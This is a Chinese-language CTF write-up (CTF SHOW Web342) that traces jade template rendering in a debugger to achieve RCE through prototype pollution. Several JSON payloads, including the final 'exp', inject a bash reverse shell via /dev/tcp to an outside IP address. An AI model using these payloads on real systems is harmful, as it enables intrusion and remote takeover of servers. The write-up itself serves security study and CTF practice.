jade原型链污染RCE

Last updated on October 24, 2023 pm

题源CTF SHOW Web342

jade原型链污染RCE

1.分析

下载源码,拖入IDEA,在bin/www.js启动调试,在routes/index.js下断点,然后访问127.0.0.1:3000,触发断点,开始调试

跟入res.render函数

继续跟入app.render函数

继续跟入tryRender函数

继续跟入view.render函数

继续跟入this.engine函数

继续跟入exports.renderFile函数

走一个小递归,然后进入handleTemplateCache函数

跟进exports.compile函数

重点关注204行的parse函数,这个函数返回值给parsed,然后parsed拼接进fnfn再送进218行的Function执行,那么就要想办法让parsed代入我们自己的命令,跟入parse函数

这里先走104行的parse函数,再走114行的compile函数,得到的js拼接进body然后返回

104行的parse函数操作空间不大,跟进114行的compile函数

继续跟进66行的this.visit函数

发现有可控的地方,只要能进入198行的语句,就可以把node.linepush进buf。

对这个this.debug进行溯源跟踪,查看是否可控,确保其一定能进入if判断

在由this.engine进入的函数里出现相关字段

且是undefined,也就是可以污染,继续往下跟进,看哪里赋值给this

最终发现是在index.js/parse()函数里的111行,创建了一个compile对象时给的值

跟进去查看

正好,还是undefined,而且赋值也简单,因此可以构造exp确保this.debug为true

这里顺带把line也一起污染了,这样可以保证后期的payload一定能执行

1
{"__proto__":{"__proto__":{"compileDebug":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.106.95.62/3389 0>&1\"')}}}

随便找一个对象,查看它的原型,看看是否污染成功

可以发现,object以及带上被污染的属性了,继续往下走

node.line也如预期一样被污染,继续执行

报错

依据报错信息,进入compiler.js的225行查看

调试发现,当node为刚刚污染的语句时,node.typeundefined,进而引发报错

考虑继续污染node.type,那就直接污染成Block吧,跟上一个节点一样

1
{"__proto__":{"__proto__":{"type":"Block","compileDebug":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.106.95.62/3389 0>&1\"')"}}}

继续报错

跟入compiler.js的283行查看

就是283行那几句出问题,那就继续污染这几个变量

1
{"__proto__":{"__proto__":{"nodes":0,"length":0,"escape":0,"pp":0,"type":"Block","compileDebug":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.106.95.62/3389 0>&1\"')"}}}

继续报错

前4点依旧处于jade模块,在jade模块中,最终报错点在index.js的149行

尝试污染options.self为true,进而避免进入149行,看能不能解决此问题

1
{"__proto__":{"__proto__":{"self":1,"nodes":0,"length":0,"escape":0,"pp":0,"type":"Block","compileDebug":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.106.95.62/3389 0>&1\"')"}}}

Bingo!,成功弹shell

2.exp

1
{"__proto__":{"__proto__":{"self":1,"nodes":0,"length":0,"escape":0,"pp":0,"type":"Block","compileDebug":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.106.95.62/3389 0>&1\"')"}}}

也有更稍微简短的exp(也就是换了一个Block节点)

1
{"__proto__":{"__proto__":{"self":1,"type":"Code""compileDebug":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/47.106.95.62/3389 0>&1\"')"}}}

NOTE:如果POST的数据没有接收到,看看HTTP头有没有Content-Type: application/json,没有的话加一个(本地做的时候,没有这个字段)


jade原型链污染RCE
http://example.com/2023/10/24/jade_prototype/
Author
yring
Posted on
October 24, 2023
Licensed under